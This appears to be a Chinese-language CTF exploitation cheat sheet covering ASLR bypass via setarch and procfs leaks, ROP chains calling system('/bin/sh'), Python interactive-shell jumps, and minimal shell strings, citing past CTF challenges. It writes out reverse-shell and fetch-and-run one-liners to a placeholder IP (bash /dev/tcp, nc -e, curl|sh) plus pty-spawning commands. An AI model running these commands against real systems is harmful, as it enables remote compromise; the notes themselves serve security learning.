本地权限提升下的ASLR

  • 这类问题在getshell后有方法可以禁用ASLR
  • 这种方式可以启动一个禁用ASLR的bash会话
    • setarch uname -m -R /bin/bash(32位,64位都可以)
    • 但是对于setuid的二进制程序无效
  • 这样是一个固定的随机地址

利用procfs

  • /proc/self/maps : 可以知道内存映射(无视ASLR)
    • 可以获得运行中进程的完整路径以及libc路径
  • /proc/self/stat : 可以知道进程的准确栈地址
    • 不如maps,但可以获得大量信息
  • /proc默认权限是可读的
    • 信息宝库
    • 因为它太强了,某些题目会修改它的权限
  • /proc/self/environ : 可以获得进程的环境变量
  • /proc/self/mounts : 可以获得mount信息
  • /proc/self/cmdline : 可以获得进程启动时的命令行参数
    • 可以通过/proc/$PPID/cmdline获得其他进程的信息
    • 可以从/proc/self/stat获得$PPID
    • 父进程的启动参数中也会有有用信息
  • 检查这些内容可能获得突破
  • /proc/self/mem : 可以重写自身内存,即使是.text
    • 部分CTF沙盒题目会用到
  • /proc/self/fd/N : 即使文件名未知也可以指定,只要它是打开的
  • /proc/self/fdinfo/N : 可以确定文件的当前搜索(seek)位置
  • /proc/$PID/root : 可以引用另一个namespace中运行的进程
  • /proc/$PID/cwd : 同样,可能引用cwd
  • /proc/$PID/mountinfo : 同样,可能获取mount信息

可写目录

任何人都可以写的目录

  • /tmp
  • /var/tmp

如果设置了SBIT

  • /var/metrics
  • /var/crash
  • /run/shm
  • /run/lock

利用字符串”sh\0”

执行ROP时,最终需要执行system(“/bin/sh”)

  • x86: p32(libc_system) + p32(dummy) + p32(&”/bin/sh”)
  • x64: p64(pop_rdi) + p64(&”/bin/sh”) + p64(libc_system)

第一个参数需要字符串”/bin/sh”

  • 一般是在libc中
  • 因此,通常需要这些步骤:
    1. 确定libc版本
    2. 泄漏libc相关地址
    3. libc_base + offset_binsh = libc_binsh

但是,system()需要通过PATH来搜索执行

  • 因此,如果PATH没有被删除,甚至可以直接system(“sh”)
  • 通常,”/bin”的PATH会保留

如果存在”sh\0”这样的字符串,就可以利用

可以利用的不仅仅是libc

  • libpthread也是CTF常用的库
    • 当使用多线程时,经常用到的库
  • 这是少数具有system()和’sh’的库之一

Python的interactive

涉及Python二进制文件的漏洞利用案例

  • 这种情况下,某些情况不需要突破ASLR
  • 假设我们已经控制了RIP
  • 我们可以尝试跳转到python shell
  • 运行此shell的函数是PyRun_InteractiveLoop
  • 通过溢出或者重写函数指针跳转到PyRun_InteractiveLoop
  • 启动Python交互shell
    • Python二进制文件没有PIE,这个函数地址是固定的
    • 因为不涉及glibc,所以也不需要system(不需要考虑绕过ASLR)
    • 但是需要注意,有必要获取目标环境的Python二进制文件来确定地址偏移等信息
    • 某些情况,即使成功也会产生SIGSEGV
  • 获取python shell之后,就可以直接调用os.system()
  • php,perl,ruby等都有类似的函数
    • 但是,能否无参数(无条件)启用交互式shell,不确定
  • 例题 :31C3 CTF 2014 - sarge

获取shell的短字符串

system(任意字符串)

  • 假设参数字符串的长度受限
  • 可以尝试使用最短的字符串

xinetd类型

  • fd固定为0,1,2,只需要使用’sh’(包含空字符共3个字节)就可以

fork-server类型

  • ‘sh<&4’(6个字节)之类的(如果socket fd为4)
    • 打开shell后,使用’bash -i >&4 2>&4’获得更多输出
  • SECUINSIDE 2014 - givemeshell

如果fd关闭

  • 只能反弹shell
  • bash: ‘sh</dev/tcp/111.222.333.444/80’(最大31字节)
    • 回连之后,使用’bash -i >&0 2>&0’获取输出
  • netcat: ‘nc -e/bin/sh 111.222.333.444 80’(最大32字节)
  • 更好的选择是’curl 111.222.333.444|sh’(最大24字节)
    • 自己开启服务,返回想要执行的代码
    • 将获取的响应传递给sh
    • 获取反弹shell
    • 可以使用较短的域名
  • 例题:32C3 CTF 2015 - cryptmsg
  • 如果能够上传文件
    • 上传反弹shell的代码
    • 默认情况下,没有执行权限,需要将它作为sh的参数
    • ‘sh /tmp/x’之类的,只需要10个字节
  • 也可以使用通配符以及表示source的点
  • 例如'. /*/J*',只需要8个字节
    • 无论文件名多长,这种方式都能使其足够短
    • 通配符选择找到的第一个
    • 因此最好使文件名比较独特
  • 例题:Hack.lu CTF 2015 - Petition Builder

回连之后获取tty的方法

  • 如果想要执行su,sudo,或者其他需要tty的命令
  • 可以在stage2时关闭no-tty的fd
  • 有四种方法

1. 使用Python

  • python -c ‘import pty; pty.spawn(“/bin/sh”)’

2. 使用expect

  • ./expect -c ‘spawn sh; interact’
    • 需要自己上传expect及依赖库

3. 使用socat

4. 使用script

  • SHELL=/bin/bash script -q /dev/null

同样,php,perl,ruby之类的也可以

  • adctf - RegExp Quiz
  • CodeGate 2015 - Rodent (stage2)